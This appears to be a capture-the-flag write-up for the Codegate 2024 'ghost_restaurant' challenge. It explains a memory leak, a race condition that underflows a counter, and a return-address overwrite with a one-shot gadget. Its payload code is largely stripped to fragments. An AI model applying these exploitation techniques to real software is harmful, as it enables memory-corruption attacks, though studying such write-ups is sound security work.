Codegate CTF 2024 Quals - ghost_restaurant (without shadow stack)
Table of Contents
0x00. Introduction
Structure
There are several other structures used, but I’ve only stated the critical one to solve the challenge.
Concept
Creating and selecting an oven spawns a cook_1928 thread where you can insert or remove food.
When inserting, food becomes ready after the specified cook_time passes. The process of decrementing time and checking completion happens through the start_routine_16B1 thread.
0x01. Vulnerability
Information Leak
When food is removed (either due to cook_time expiring or manual remove), memory changes through the following logic.
;
;
for
Since it copies from food[i + 1] even though the food is full, we can leak important data after the food structures.
Race Condition
Looking at the code for start_routine_16B1 that checks remaining time:
void __fastcall __noreturn
When left_time reaches 0, it shifts structures after that food forward by one position and decrements food_count.
There’s another way to remove food - looking at cook_1928:
void *__fastcall
It prints the current food list, receives the index in tmp of the food to remove, deletes it, then decrements food_count via __writefsqword() at line 26.
The vulnerability here is that the code decrementing food_count in start_routine_16B1 when time expires isn’t managed as a critical section. Therefore, it can execute concurrently with cook_1928’s remove logic, creating a race condition.
cook_1928 | start_routine_16B1 |
|---|---|
if ( tmp <= __readfsqword(0xFFFFFE90) && tmp > 0 ) | |
food_next = &arg->food[j + 1]; | |
food_cur = (__readfsqword(0) + 0x50LL * m - 0x160); | |
food_cur = &arg->food[j]; | |
food_next = (__readfsqword(0) + 0x50LL * (m + 1) - 0x160); | |
memcpy(food_cur, food_next, 0x50); | |
memcpy(food_cur, food_next, 0x50); | |
--*(_QWORD *)arg->count; | |
__writefsqword(0xFFFFFE90, __readfsqword(0xFFFFFE90) - 1); |
If a race condition occurs this way, even with one insert, the value decrements twice, causing underflow in food_count.
0x02. Exploit
Information Leak
Starting from food[0] and printing memory in 0x50 (food size) increments reveals this region.
The area corresponding to food[4] contains addresses to TLS(Thread Local Storage) and heap regions, plus a canary value (though not needed for this challenge). Since you can insert up to 4 foods, creating food[0]~food[3] then removing food[0] copies food[4] data to food[3]. Removing food[0] four times this way copies the food[4] area data to food[0]~food[3].
Note that 0x7ffff7da56c0 stored at 0x7ffff7da56c0 is the TLS address - the value returned when executing __readfsqword(0). If this value changes, __readfsqword(0) returns the changed value, so we need to be careful.
;
for
; // left_time
Since food.name is printed via %s formatter, we need to fill the intermediate \x00s. This can be solved through read() called when selecting the hidden choice.
if // hidden
So I wrote the payload as follows.
=
=
= + 0x3940
= - 0x960
Since TLS is allocated just above libc, we can obtain the libc base by calculating the offset.
Race Condition
I wrote a brute force payload to find the sleep time needed to trigger the race condition.
=
=
# code for information leak
= 0.95 + / 10000
=
Since the race condition is triggered after information leak, the leak payload needs to be included to accurately find the timing.
On successful trigger, food_count becomes -1, and inserting then writes data to food[-1].
food[-1] : 0x00007ffff7da5510 -> name[0x40]
0x00007ffff7da5520
0x00007ffff7da5530
0x00007ffff7da5540
food_count : 0x00007ffff7da5550 -> cook_time[0x8], left_time[0x8]
food[0] : 0x00007ffff7da5560 -> name[0x40]
0x00007ffff7da5570
0x00007ffff7da5580
0x00007ffff7da5590
0x00007ffff7da55a0 -> cook_time[0x8], left_time[0x8]
0x00007ffff7da55b0
...
TLS : 0x00007ffff7da56c0
...
LIBC : 0x00007ffff7da9000
Since input cook_time is written at the food_count position, inputting 60 makes it recognize food_count as 60, printing 60 foods. So I wrote the payload to judge success by the number of printed foods.
This found suitable sleep times. However, running it multiple times shows the time window shifts slightly, possibly due to memory issues.
RIP Control
After triggering the race condition, checking thread info with info threads in gdb:
)
)
)
Thread 3 runs start_routine_16B1. Switching context with thread 3:
)
)
)
)
)
[ | |
It decrements left_time at each second and checks if food is ready by executing clock_nanosleep().
It also uses a new TLS region rather than the leaked one, using as stack.
The call stack goes sleep() -> nanosleep() -> clock_nanosleep(). To overwrite something, it’s better to taget sleep() which has longer call intervals.
)
)
)
)
)
When sleep() returns, rsp points to 0x7ffff75a3ce8. While this address is in a different TLS region than the leaked 0x7ffff7da56c0, the offset between TLS regions is consistent, so calculating the offset gives access.
The original challenge has shadow stack enabled, but without it here, we can overwrite this return address for RIP control.
On successful race condition trigger, food_count becomes -1. As a result, food[-1].cook_time is at the position of food_count, making it a large value. By appropriately using the index, we can write to the return address of sleep() in thread 3.
= 0x7ffff7da5560
= 0x7ffff75a3ce0
= // 0x50 + 1
= 0x583dc
= b * 8
+=
Fortunately, there’s a usable one-shot gadget, so I overwrote it with that address.
0x03. Payload
=
=
=
= 0x0000555555554000
=
= f
=
return
return
return
return
return
=
=
=
=
= + 0x3940
= - 0x960
= 0.98 + / 10000
=
=
=
=
=
=
# information leak
=
=
= + 0x3940
= - 0x960
# trigger race condition
# overwrite food_count
= 0x7ffff7da5560
= 0x7ffff75a3ce0
= // 0x50 + 1
# overwrite ret of sleep() in thread 3
= 0x583dc
= b * 8
+=
=
=